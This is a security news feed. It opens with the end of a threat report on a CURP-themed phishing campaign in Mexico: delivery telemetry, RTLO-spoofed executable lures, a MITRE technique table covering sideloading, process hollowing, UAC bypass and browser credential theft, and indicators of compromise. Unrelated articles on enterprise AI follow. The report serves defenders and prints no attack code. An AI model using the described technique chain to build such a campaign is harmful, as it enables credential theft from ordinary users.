The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Country

Requests

Share of requests

Unique client IPs

Launch events

Mexico

63,622

82.5%

2,698

2,365

United States

4,032

5.2%

463

47

Germany

2,751

3.6%

59

1

United Kingdom

645

0.8%

40

0

Netherlands

532

0.7%

49

1

France

407

0.5%

21

0

Finland

401

0.5%

6

10

Brazil

343

0.4%

41

0

Republic of Korea

312

0.4%

16

1

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Method

Count

PROPFIND

57,287

GET

13,088

OPTIONS

6,597

PROPPATCH

125

LOCK

1

Table 4: HTTP methods observed in WebDAV delivery traffic.

Status

Count

207

57,412

200

19,532

206

154

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Name

MITRE ATT&CK technique

Code

Payload execution

User Execution: Malicious File

T1204.002

Masquerading

Right-to-Left Override

T1036.002

Masquerading

Double File Extension

T1036.007

DLL sideloading

Hijack Execution Flow: DLL

T1574.001

Obfuscation

Encrypted/Encoded File

T1027.013

Payload unpacking

Deobfuscate/Decode Files or Information

T1140

Payload carrier

Steganography / image-carried payload data

T1027.003

API hiding

Dynamic API Resolution

T1027.007

In-memory loading

Reflective Code Loading

T1620

Injection

Process Hollowing

T1055.012

Native API use

Native API

T1106

Sandbox evasion

Time Based Evasion

T1497.003

Anti-analysis

Debugger / instrumentation checks

T1622

UAC bypass

Bypass User Account Control

T1548.002

Persistence

Registry Run Keys / Startup Folder

T1547.001

Persistence

Scheduled Task

T1053.005

Collection

Keylogging

T1056.001

Collection

Screen Capture

T1113

Collection

Clipboard Data

T1115

Credential access

Credentials from Web Browsers

T1555.003

Credential access

Steal Web Session Cookie

T1539

Collection

Data from Local System

T1005

Collection

Automated Collection

T1119

Staging

Archive Collected Data: Archive via Utility

T1560.001

C2

Encrypted Channel

T1573

Exfiltration

Exfiltration Over C2 Channel

T1041

Possible persistence

WMI Event Subscription

T1546.003

Phishing lure generation

Generate Phishing Lures

AML.T0052

Resource Development

Resource Development

AML.TA0003

Obtain capabilities via LLM tooling

Obtain Capabilities

AML.T0016

LLM-assisted capability development

Develop Capabilities

AML.T0017

LLM prompt crafting for attack documentation

LLM Prompt Crafting

AML.T0065

Obtain capabilities via tooling

Obtain Capabilities: Software Tools

AML.T0016.001

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

]]> <![CDATA[Siri AI is hiding a more concise set of Writing Tools for Mac]]> https://tsecurity.de/de/3681138/ios-mac-os/siri-ai-is-hiding-a-more-concise-set-of-writing-tools-for-mac/ https://tsecurity.de/de/3681138/ios-mac-os/siri-ai-is-hiding-a-more-concise-set-of-writing-tools-for-mac/ Mon, 20 Jul 2026 14:40:14 +0200 🍏 iOS / Mac OS tsecurity.de macOS Golden Gate shows how Apple is testing ways to simplify and speed up Writing Tools in Siri AI.

Laptop screen showing a document editor on macOS, with a proofreading and rewrite suggestion popover above highlighted text, and a beige desktop background with menu bar at the top
How the hidden Siri AI Writing Tools appear when you selected text.

Although some users, including ones at AppleInsider, are finding that Writing Tools have vanished in macOS Golden Gate, typically they remain available whenever selected text is right-clicked. But Reddit users have found that there is a hidden alternative that automatically pops up a short list of Writing Tools when you select text.

To try it out, you have to enter two Terminal commands and macOS will caution you that it's possible the commands are malware. They are not, and they are required to uncover this hidden feature.


Continue Reading on AppleInsider | Discuss on our Forums]]> <![CDATA[Stimulating Brains Without Touching Them: A Story of Magnets, Hype, and Open Science (emf2026)]]> https://tsecurity.de/de/3681109/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/ https://tsecurity.de/de/3681109/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/ Mon, 20 Jul 2026 14:33:32 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Stimulating Brains Without Touching Them: A Story of Magnets, Hype, and Open Science (emf2026)]]> https://tsecurity.de/de/3681094/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/ https://tsecurity.de/de/3681094/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/ Mon, 20 Jul 2026 14:25:02 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Q&A: Why boutique consultancies might be better for AI rollouts than the bigwigs]]> https://tsecurity.de/de/3680996/it-nachrichten/qa-why-boutique-consultancies-might-be-better-for-ai-rollouts-than-the-bigwigs/ https://tsecurity.de/de/3680996/it-nachrichten/qa-why-boutique-consultancies-might-be-better-for-ai-rollouts-than-the-bigwigs/ Mon, 20 Jul 2026 13:33:13 +0200 📰 IT Nachrichten tsecurity.de

Major AI labs are unleashing forward-deployed engineers (FDEs) to try and grab enterprise customers. Large consultancies are dishing out tokens and assembling armies of consultants — both human and agent — to do the same.

But smaller firms are in the mix now, as well. AI is helping 28Stone Consulting, a New York-based, 230-person technology consultancy for capital markets, punch above its weight against larger rivals in the rush to deliver FDEs.

In this Q&A, Thomas Dolan and Frank Erickson, founders of 28Stone, argue that agentic AI isn’t a one-size-fits-all solution in vertical markets; success takes discipline, deep domain expertise, and human involvement to mitigate risk.

Many enterprises continue to struggle with the use of AI agents, which is consultancies are stepping in to get projects off the ground. 28Stone is among those that have published blueprints and methodologies on the development and delivery of agentic AI workflows with humans in the loop.

Computerworld spoke with both founding partners about why companies are still stumbling with agentic AI rollouts, and what a disciplined delivery process actually looks like.

After 15 years of delivering software for capital markets firms, is ‘AI-first’ a real distinction or just positioning?

Dolan: “We’re not shying away from being AI-forward. What needs to shine through is AI done intelligently — not stuff you get by buying some tokens for somebody on the trading desk. We’re an AI-first firm.”

Erickson: “And it’s temporary. At some point, AI is going to be synonymous with software development.

“The whole idea of an AI SDLC (software development lifecycle) versus an SDLC is going to be one and the same, a lot like cloud computing today. To not include AI in your strategy, you’d look like a COBOL vendor.”

What does agentic AI delivery look like?

Dolan: “We’ve got several AI initiatives delivering a pure agentic approach. We’ve doubled down on the human expertise wrapper in the SDLC. That doesn’t mean sacrificing any of the benefits of the AI models — quite the opposite.

“You don’t achieve anywhere near the same level of value from applying AI without keeping that expertise — industry, functional and technical — throughout the process.”

Where do humans stay in the loop once agents are doing the work?

Dolan: “We’re believers in starting with requirements discovery. Someone who knows the analytical nuances of a good business analyst is critically important; shaping a product owner’s business information through a markup file that can be fed into a BA agent, then treating the output as if it came from a very fast junior BA. Only then is the story complete.

“The developer takes that story, transforms it into the most efficient input, then owns the output, because they’re accountable for that code. A developer should own the code on both the input and output side.

“Your product owner, who knows the business, that’s great. But expecting them to interact with an agent and output enterprise code is ridiculous. It’s not a great plan.“

Why not just put one do-everything person in charge of AI and agents?

Erickson: “Every analyst, programmer or software engineer isn’t a great requirements analyst. And a great domain analyst with some technical background won’t know if the agent’s code is garbage, maintainable, performant.

“It’s unrealistic to expect one individual to have that breadth across domain, software engineering, testing, deployment. Clients ask all the time, and we push back: ‘Great, if you can find that guy, they’re few and far between.’ To deliver at the enterprise level, you need the human expertise, at depth.“

Dolan: “There’s system speed and latency, important in parts of finance. Then there’s speed of delivery, because other areas evolve quickly and time-to-market is critical.

“Our human wrapper may at first pass come across as a little slowed down. Maybe it is. But [Erickson] has a good analogy about one of the dangers of AI: you can end up going really fast in the wrong direction. By the time you look up, you’re way off base and have to backtrack.“

What about AI in your sector do you think is overhyped?

Dolan: “The hype around the ease of use of AI and the democratization of enterprise software delivery — that ‘anybody could do it now, it’s all being done by machines’ — is another idea that could prove costly in the long run.

“This do-it-yourself reaction is dangerous for clients, and for trust in the overall AI benefit, which is real. We compare it to the beginning of offshoring 20, 30 years ago: a golden idea that was going to cure everything. A lot of firms did it thoughtlessly, thinking it’s just labor arbitrage, and it almost inevitably failed. That all-or-nothing mentality missed that offshoring is an amazing way of getting better value for your dollar, but it has to be done thoughtfully, so the delivery process — the thing that ties it all together — stays unsevered.

“We’re seeing that now. I’ve heard, ‘We’ll just push a button, the machine’s building the system.’ The machine is not building the system. It might be writing the code, the story, running the tests.

The system is built by a team of engineers you bring in and trust. My fear is that people will say, ‘We don’t need this vendor or this technology team. I’ve got a product team. They might not be able to code at all, but they know the business,’ and it fails dramatically. 

“Then people say, ‘We played with AI, it’s not ready yet,’ and throw it all away. One of the best things we can do is ensure clients know the benefit is real.“

Erickson: “The hype can be summed up in a single phrase: vibe coding. That has done AI a massive disservice, because there’s a huge difference between vibe coding and enterprise software development, and some of the loudest proponents of AI are too latched on to it. In our industry, the only way to succeed would be a stable of unicorns. It just doesn’t scale. I get perturbed when our people internally refer to AI tooling as vibe coding; if they think that’s what they’re doing, they’re misunderstood.“

When you engage clients at different levels of AI maturity, how do you get them to a understand what works?

Dolan: “95% of our take on an agentic approach is in line with everyone else’s, but that 5% matters, especially in requirements discovery, in who’s giving the requirements and how they’re thought of. It can set you up for dramatic errors, given the speed at which you’re moving.

“There’s a dangerous human tendency we’re seeing among clients to try and cut corners at the start of a project and — in lieu of having deep, expert driven discovery sessions — just summarize what they may want using AI.

“We would hope our clients are collaborative, everyone understanding it’s early days. If a client insists on doing something we feel strongly against, like a product owner completely owning everything right up to code generation, that’s an issue we have to either push back strongly on or step out of the accountability for.“

AI body shops — LLM providers and giant consultancies — are emerging to help enterprises deploy AI. Does that model work?

Dolan: “Whether you’re partnering with an LLM or with an AI-first, generic software provider — ‘Hey, we’re not industry guys, but we know AI delivery’ — you end up, if you’re a bank or a broker-dealer, saying: ‘All right, we know our business, these guys know the AI side of it. What could go wrong? Put us together and we’ll have quality engineering.’

“The problem is what you miss: the know-how of putting industry and technical expertise together and actually delivering financial services systems. The people working at the generic delivery firms, whether an AI-only firm or a body shop somewhere, don’t have that capability.“

Does AI change the economics for smaller consultancies like yours competing against the big firms, and does it cut both ways?

Dolan: “Over our 15 years pre-AI, there were two recurring reasons we’d lose a project. One: ‘We’d love to work with you guys, given your subject matter expertise, but the costs just aren’t there compared to my budgets. I’m being forced to go to a body shop or an [offshore] delivery center.’ The other side of that coin: ‘We love your capabilities, but you’re a firm of 230 people and I need 300, 400 people.’

“AI changes the options for clients. You don’t have to sacrifice the niche vendor who knows your space just because you need a larger team or a cost target. AI levels the playing field and should allow smaller firms to compete with the larger, big-box generic firms, the Accentures of the world.“

Erickson: “It redefines what scale means. You can look at velocity as a measure of your cost to deliver, not a rate card. Scale can’t be defined in terms of headcount anymore. It’s got to be defined in terms of output.

“There’s a threat in it, too. If you’re an Accenture with hundreds of thousands of low-cost software engineers, how do you train all those people? I feel for them. But for us, a couple hundred people with a specific domain focus, it’s a huge opportunity.“

How has the profile of the people you and others hire changed with this agentic process?

Erickson: “You’re still looking for people with strong engineering and design backgrounds, and communication skills, because they interact across the software development lifecycle more than in the past.

“Many take too much joy in typing out perfect code. Sorry, I don’t need you writing for-loops and classes anymore. I need you reviewing them, understanding them, operating at a higher level. That’s a different kind of person: an engineer, not a programmer or a coder. On the [business analyst] side it’s similar: people took great pride in detailed user stories covering every path. Now it’s conversations, prompts, reviewing output — less doing, more interacting.

“More than ever, they have to be interested in the domain. They can’t just be, ‘I want to learn everything there is to know about Java.’ That’s too narrow. They don’t have to be an expert; they have to be interested. In our case, capital markets is a specific niche. The biggest challenge is getting familiar with the tools — finding time, while delivering for customers, to ramp up and make the mistakes you need to without jeopardizing projects.“

What about governance? Who’s keeping AI delivery and its costs under control?

Erickson: “This is evolving rapidly. People aren’t sure how to put governance around this. The most obvious is financial governance. People are starting to get hefty bills. One of our clients spent a million dollars on tokens over the last eight weeks alone. Sticker shock. The token-maxing policies are starting to show their flaws. It’s wild west still: learn on the fly, then figure out what needs to be governed.“

Are CIOs actually opening their wallets? And when they do, what’s the smarter way to invest?

Erickson: “There’s still a lot of caution. Forecasts keep going down on how long something should take. So: ‘I could wait three months and maybe still get it delivered by the same date someone’s promising me now, but for half the price. I’m going to wait and see when equilibrium is met.’ We haven’t seen the wallets open up like crazy — it’s slow adoption.“

Dolan: “One of our clients is looking at it from a productivity-boost perspective: instead of doing the same for less, I can do much more for the same. AI lets clients pull the trigger on things they wouldn’t have in the past — projects that might not have been approved pre-AI, where the costs have come down to a point that’s palatable with the business.“

Erickson: “And that’s the story we’re hoping to hear more of. There isn’t a huge cost anymore to exploring a business opportunity. The time and money that would have gone to a return-on-investment study could be spent on a proof-of-concept with AI, and the project done a few weeks later. Maybe [there’s] a hint of things to come, where decisions start being made quicker. 

“There’s a little fear on our side, though: a lot of tiny little projects is tough for a consulting business.“

]]> <![CDATA[Independence, Trust & AI: The ESET Story]]> https://tsecurity.de/de/3680895/it-security-video/independence-trust-ai-the-eset-story/ https://tsecurity.de/de/3680895/it-security-video/independence-trust-ai-the-eset-story/ Mon, 20 Jul 2026 12:48:53 +0200 🎥 IT Security Video tsecurity.de Author: ESET - Bewertung: 0x - Views:49

At ESET, cybersecurity isn’t just about reacting to threats, it’s about understanding them, learning from them, and staying ahead of them. For nearly 40 years, we’ve built our expertise on independence, long-term thinking, and deep global insight.

From proprietary technology developed in-house to real-time telemetry that gives us a front-row seat to the world’s most complex cyber challenges, we believe in one principle above all: you can’t protect what you don’t truly understand.

In this video, our founders and experts share what makes ESET different:
• Why independence is critical to cybersecurity integrity
• How we train and use AI responsibly
• What decades of threat intelligence have taught us
• Why trust is built over years not moments
• How we balance innovation with responsibility

We don’t rush decisions. We don’t follow trends blindly. We build solutions that last guided by values that outlast change.

Connect with us on: https://www.eset.com/ https://www.facebook.com/eset https://www.linkedin.com/company/eset/ https://www.instagram.com/eset/ https://x.com/ESET

]]> <![CDATA[7 issues impacting AI strategies — and how CIOs should respond]]> https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/ https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/ Mon, 20 Jul 2026 12:03:29 +0200 📰 IT Nachrichten tsecurity.de

CIOs remain at the forefront of setting the course for AI adoption in their organizations.

In fact, 82% of CIO respondents to CIO.com’s 2026 State of the CIO survey are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI adoption efforts, with business units aligning their strategies accordingly.

As such, CIOs are leading or co-leading AI strategies at the majority of organizations, with many also playing a key role in tackling AI change management. They report encountering numerous factors — from heightened pressure to deliver ROI to challenges with trust in AI outputs — as they formulate and shape those AI strategies.

Here’s a look at seven notable issues impacting AI strategies in 2026.

1. Increasing pressure to show ROI for AI investments

The era of AI experimentation and pilots is over. Boards and CEOs are making it clear they want to see quantifiable returns from their AI investments. Kyndryl’s 2025 Readiness Report, for example, found that 61% of senior business leaders and decision-makers felt more pressure to prove ROI on their AI investments than they had the prior year.

“The era of funding AI is shifting from everything all-in to every project has to have line of sight to some financial value at the end of the day. It’s moving from the experimentation phase to expecting measurable outcomes,” says Jim Piazza, chief AI officer at IT services firm Ensono.

As a result, Piazza says companies, both his own as well as those he advises, are more diligent about building business cases that estimate implementation costs, AI run costs, and expected benefits so they’re primed to pursue AI initiatives that will deliver ROI.

That strategy seems to be paying off. According to the May 2026 AI Momentum Survey from Dun & Bradstreet, 67% of 10,000 businesses surveyed reported seeing early signs or pockets of ROI, 20% reported multiple projects delivering ROI, and 10% reported strong ROI.

That’s a big jump from earlier surveys that found few AI initiatives providing returns. For example, PwC’s 2026 Global CEO Survey, released in January, found that 56% of CEOs saw no significant financial benefit from AI to date, while The GenAI Divide: State of AI in Business 2025 from MIT found that 95% of enterprise generative AI projects failed to show measurable financial returns within six months.

2. The need to harness AI for transformation

The No. 1 concern for CEOs this year, according to PwC’s 2026 Global CEO Survey, is whether they’re transforming fast enough to keep pace with technological change, cited by 42% of respondents as their top concern. And 68% of the 1,120-plus C-suite executives surveyed by KPMG for its May 2026 Adaptability Pulse Survey said they feel pressure to accelerate innovation.

That in turn is influencing AI strategies.

Steve Santana, CIO and head of AI at ETS, the world’s largest private nonprofit educational testing and assessment organization, says his company is “pivoting from working on enterprise efficiencies using AI to figuring out how to deliver assessments,” adding that “AI will enable innovation we couldn’t get to before.”

For ETS, that means reimagining how the company delivers its core products, “finding areas to do something you couldn’t do before because it was too big or too daunting,” such as having more interactive tests and assessments at scale, Santana says.

And while Santana believes organizations can’t move too slowly, he predicts innovation will trump speed. “The winners and losers in the AI race aren’t always going to be the ones that got there the fastest,” he says, observing that those who move too fast “can drive behaviors that are very dangerous.”

He adds, “I’m not advocating for moving slow; I’m advocating moving at pace. It’s better to be measured in your approach.”

3. The black box of AI costs

CIOs are struggling to calculate the full cost to run AI for their use cases, with estimates coming in well under what their actual bills will be. Consider the figures from research firm IDC, which found that global 1,000 companies will underestimate their AI infrastructure costs by 30% through 2027.

That makes identifying which AI use cases will produce quantifiable value much more challenging, which in turn makes determining a winning AI strategy harder to do. CIOs, however, say they can’t let that stop them from advising their C-suite colleagues on which AI use cases are likely to be winners.

“You can’t sit on the sidelines and wait and watch. The general conclusion is you’re going to lose if you do that, so you have to play even though the cost dynamics are not really well understood,” says Mohan Sankararaman, executive vice president and CIO of First Horizon Bank.

Sankararaman says he’s devising his AI strategy with that uncertainty in mind.

“It’s up to me and my team to figure out how to optimize our use for costs, just like we did with cloud,” he says, noting that part of his strategy is to avoid infrastructure choices that could result in AI vendor lock-in and, thus, getting stuck with that vendor’s bills.

“IT has to get the engineering right and not overengineer solutions to make sure the AI strategy we pursue delivers returns,” he adds.

Researchers recommend such approaches. In a blog highlighting the IDC research, Jevin Jensen, research vice president for infrastructure and operations at IDC, wrote that “organizations successfully navigating this challenge are ones that effectively share a common trait: they’ve reimagined FinOps as a strategic team, not an after-the-fact accounting exercise. They treat AI economics as a living ecosystem — measurable, visible, and continuously optimized.”

4. Aligning use cases to business strategy

There are an overwhelming number of potential use cases, so execs must pick and prioritize those that will help them achieve their strategic goals.

That’s easier said than done.

Enterprise Strategy Group’s 2025 report on generative AI’s ROI surveyed 1,900 business and IT leaders across nine countries and found that 71% had more potential use cases that they want to pursue than they can possibly fund; 54% said selecting the right use cases based on objective measures like cost, business impact, and the organization’s ability to execute is hard; and 71% acknowledged that selecting the wrong use cases will hurt their company’s market position. Furthermore, 59% of respondents said advocating for the wrong use cases could cost them their job.

Longtime CIO adviser Larry Wolff says challenges picking and prioritizing use cases stems in part from boards and CEOs commanding their teams “to do AI.” Such directives, he explains, puts the technology first and business goals second — something CIOs have been trying to avoid for years.

“There should not be a technology strategy. There should be a business strategy with a technology component. The same applies to AI,” says Wolff, now CIO of Preferred Travel Group. “We need to talk about business challenges and opportunities first and then talk about how AI can solve for those.”

5. Human readiness to use AI

Even as Sankararaman and his executive colleagues build the bank’s AI strategy, he still sees the need to improve the organization’s understanding of the technology. “Everybody has a basic understanding, but AI fluency isn’t where it should be,” he says, noting that a subpar level of fluency “can hamper creativity.”

“If the strategy is to become top notch in, say, customer experience, we have to determine how to achieve that. And if you start building the road map but you don’t know what the technology can do, then the strategy will be limited,” he adds.

Sankararaman considers running AI boot camps for executives and their direct reports to improve their knowledge of AI and its transformative capabilities. “Not everyone needs to be an AI expert, but we still need to have a level of understanding of, say, what a large language model is and how to apply it and other elementary things like that. The hope is that when we do talk about strategy for business outcomes, everyone will know how to leverage AI,” he explains.

According to Jamaal Justice, principal for people consulting at EY, concern about AI fluency is widespread.

“One of the biggest challenges that impacts the success of an AI strategy is human readiness,” Justice says. He points to EY research showing “that while 88% of employees use AI at work, only 28% of organizations have positioned employees to achieve transformative business impact from AI. This underscores that the challenge is not access, but adoption and readiness.”

Like Sankararaman, Justice acknowledges that it’s OK to have a spectrum of knowledge and use among workers. But success with AI “depends on aligning mindsets, skillsets, and toolsets, by creating the right conditions for both workforce readiness and effective technology use,” he says.

“Organizations that integrate human capability with technology and fundamentally rearchitect work using a human-centered and value-oriented approach will unlock value at scale,” he adds. “Those that don’t risk fragmented adoption and limited returns.”

EY research confirms as much, finding that productivity gains can fall by more than 40% when AI is deployed on weak talent foundations, including poor learning, culture, and incentives.

6. Data readiness for AI use

Data readiness is also lagging at most organizations, further hindering AI ambitions.

According to a 2026 report from Cloudera and Harvard Business Review Analytic Services titled Taming the Complexity of AI Data Readiness, 73% of surveyed business leaders said their organization struggles with AI data preparation. The top obstacles are siloed data and difficulty integrating data sources (56%), lack of a clear data strategy (44%), data quality and bias issues (41%), and regulatory constraints on data use (34%).

To ensure AI success, “a radical reshaping of the data landscape is needed,” says Steve Prewitt, who as chief data and AI officer at IT services firm Genpact advises clients on AI deployments for their own organizations.

That reshaping is more critical today as agentic AI becomes more prevalent, Prewitt observes. Organizations need high-quality well-governed data to enable and trust AI agents to make real-time decisions autonomously. Otherwise, organizations either can’t move forward with deploying agents or, if they do, risk triggering cascading failures.

7. Engendering trust

ETS CIO Santana and his colleagues recognize AI’s potential to deliver faulty outputs, whether from problematic data, drift, or other problems. Everyday users recognize that potential, too.

That’s why the issue of trust has a significant impact on the nonprofit’s AI strategy. Companies such as ETS that provide critical, high-stakes services know they must earn trust by building AI use cases that can consistently and demonstratively deliver accurate outputs, Santana says.

ETS’s strategy is to highlight where AI is making high-stakes decisions and to detail what steps the company must take to ensure that it consistently delivers accurate, trustworthy outputs and that it conforms to established standards and requirements, he says.

“You don’t want someone to feel the results may be wrong if you’re using AI to assess a person and their future depends on it,” he notes. “You want to remove any doubts [in such AI use cases], and the strategy should ensure that. The strategy should include all the work needed to have that trust.”

]]> <![CDATA[The 6 kinds of AI agent architectures]]> https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/ https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/ Mon, 20 Jul 2026 11:09:07 +0200 📰 IT Security Nachrichten tsecurity.de

Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single phrase carries that much weight, well, it stops carrying any.

I’ve spent the last three years inside hundreds of enterprise AI deployments, and the factor that separates the programs scaling elegantly from the ones still shuffling is often the CIO’s architectural fluency: The ability to look at business problems across the organization and recognize, on sight, what kind of AI architecture is the right fit. In my experience there are six archetypes, each with their own nuances, that CIOs should internalize to make well-informed decisions going forward.

1. The conversational assistant

The first, and the one most enterprises meet first, is the conversational assistant: The chat-based partner that an employee or customer opens when they want to think out loud. Deloitte found that 38% of organizations report AI is already strengthening their client or customer relationships. This is the architecture people fall in love with: A well-designed assistant with constantly updated information, persistent user-level memory, tools that can act on behalf of users, and citations on every factual claim becomes a useful problem-solver that’s available at any hour of the day.

A global law firm I work with deployed an internal assistant that gives every attorney instant access to the firm’s accumulated precedent, memos and prior matter work. Associates who used to spend the first hour of a research task hunting through document management systems now start with a grounded, citation-backed answer and refine from there. This helped the firm’s institutional knowledge, previously locked in the heads of senior partners, become queryable by anyone with a deadline at 11 p.m., or later.

A second example: A mid-market wealth management firm built a client-facing assistant that handles portfolio questions, statement explanations and routine servicing requests. The assistant draws from each client’s actual holdings, recent activity and the firm’s published market commentary, with citations linking back to source documents. Advisors stopped being interrupted for the questions that didn’t require an advisor, and clients got answers on a Sunday.

2. The triggered workflow

Another pattern producing the value across the enterprises I work with is something that runs silently: An email arrives, a ticket is created, a file lands in a folder and the agent executes a process utilizing both reasoning and determinism. These agents don’t even require user adoption, because they’re invisible to the end user. They produce measurable outcomes, but fit cleanly into the audit and change-control processes IT teams have run for decades.

A commercial insurer I advise built a triggered workflow for inbound submissions. Every broker email that arrives at the underwriting inbox is classified by line of business, the attachments are parsed, key risk fields are extracted into the policy administration system, and a draft acknowledgment is queued for the underwriter’s review. Seemingly overnight, the inbox began arriving pre-sorted, and submission throughput rose meaningfully without any change to headcount.

Another example, this time from a private equity firm: Every inbound confidential information memorandum (CIM) that hits the deal team’s shared inbox triggers a workflow that extracts the financial summary, screens it against the firm’s investment criteria, drafts a preliminary memo and posts the result into the deal-tracking system. Associates still make the call on what to pursue, but the first three hours of manual work on each opportunity now happen before anyone even opens the file.

3. The autonomous agent — with sub-agents

Here we have the architecture that gets the most conference attention: The autonomous agent, given a task and left to plan its own steps by utilizing its own sub-agents. Autonomous agents are not one-size-fits-all, but they do meet a specific need: Multi-source research, complex cross-system lookups, deep-dive investigations. All of these are processes where the path isn’t usually specified in advance, but the tools are. With the right design discipline, an autonomous agent feels like having a self-sufficient teammate who can call in the right resources and specialists if needed.

A global consulting firm I work with uses an autonomous research agent for early-stage engagement scoping. Given a target company and a strategic question, the agent decides for itself which sub-agents to consult (choosing from internal proprietary databases, prior engagement archives, licensed market data, public filings) and produces a structured briefing with its reasoning chain attached.

Another large technology company I know of deployed an autonomous agent for cross-system incident investigation. When a production alert fires, the agent forms a hypothesis, queries the necessary sub-agents with relevant monitoring tools, log stores and deployment systems, and follows the trail until it reaches a defensible root-cause summary to surface to an engineer.

4. The multi-agent team

The fourth pattern is where the next wave of enterprise quality gains is going to come from. According to Databricks, usage of multi-agent systems grew 327% in just four months as enterprises moved beyond single chatbots. Several specialized agents, each with its own role and toolset, coordinate through a shared protocol: A researcher and a writer, a planner and a set of executors, a proposer and a critic. The proposer-critic feedback loop is one of the smartest techniques in agent design today. One model produces an answer; a second, with a different prompt and often a different provider, evaluates it against explicit criteria. For compliance review, contract analysis, high-stakes classification and any output that will be audited, this second pass is extremely helpful and mirrors how human teams work.

